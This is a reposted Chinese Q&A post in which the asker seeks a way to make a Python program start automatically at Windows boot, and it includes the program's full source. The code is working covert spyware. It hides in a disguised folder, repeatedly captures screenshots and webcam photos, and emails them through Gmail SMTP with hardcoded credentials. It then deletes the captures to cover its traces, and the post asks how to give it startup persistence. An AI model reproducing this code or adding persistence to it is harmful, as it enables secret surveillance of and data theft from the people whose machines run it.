当前位置:   article > 正文

python脚本如何自动运行_如何使python脚本在启动时自行启动?

python脚本怎么怎么让他开机启动

我写了以下程序,安装成功。现在,我希望我的程序可以在启动时启动,而不必手动将其快捷方式复制到启动文件夹,即C:\Users\User\AppData\Roaming\Microsoft\Windows\Start菜单\程序\启动。

我希望我的程序在启动时自动运行,就像许多商业程序(如uTorrent、InternetDownLoaderManager等)所做的那样。我怎么能这么做?

Python代码:import os

import time

import string

import random

import shutil

import smtplib

import pyautogui

from SimpleCV import Image, Camera

from email.mime.text import MIMEText

from email.mime.image import MIMEImage

from email.mime.multipart import MIMEMultipart

def make_folder(): #Checking if $y$temF0lder exists in C drive

if os.path.exists('C:\\$y$temF0lder'):

pass

else:

os.mkdir('C:\\$y$temF0lder')

os.chdir('C:\\$y$temF0lder')

cam = Camera()

def send_mail(): #Sending captured picture in my email

msg = MIMEMultipart()

fromadd = 'fromadd@gmail.com'

toadd = 'toadd@gmail.com'

msg['From'] = fromadd

msg['To'] = toadd

msg['Subject'] = 'Photos'

text = MIMEText('Pic')

msg.attach(text)

screenshot_data = open(screenshot_name, 'rb').read()

webcam_data = open(webcam_name, 'rb').read()

send_image = MIMEImage(screenshot_data,

name=os.path.basename(screenshot_name))

send_images = MIMEImage(webcam_data, name=os.path.basename(webcam_name))

msg.attach(send_image)

msg.attach(send_images)

sessions = smtplib.SMTP('smtp.gmail.com', '587')

sessions.ehlo()

sessions.starttls()

sessions.ehlo()

sessions.login(fromadd, 'P@ssword')

sessions.sendmail(fromadd, toadd, msg.as_string())

sessions.quit()

def main():

global screenshot_name

global webcam_name

while True:

make_folder()

name = ''

for i in range(10): #Generating random name of 10 character long

x = random.randint(0,62)

name += string.printable[x]

screenshot_name = 'Screenshot ' + name + '.png'

webcam_name = 'Webcam ' + name + '.jpg'

screenshot = pyautogui.screenshot()

screenshot.save(screenshot_name)

web_pic = cam.getImage()

web_pic.save(webcam_name)

send_mail()

for file in os.listdir('C:\\$y$temF0lder'):

os.remove(file)

time.sleep(30)

shutil.rmtree('C:\\$y$temF0lder')

if __name__ == '__main__':

main()

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号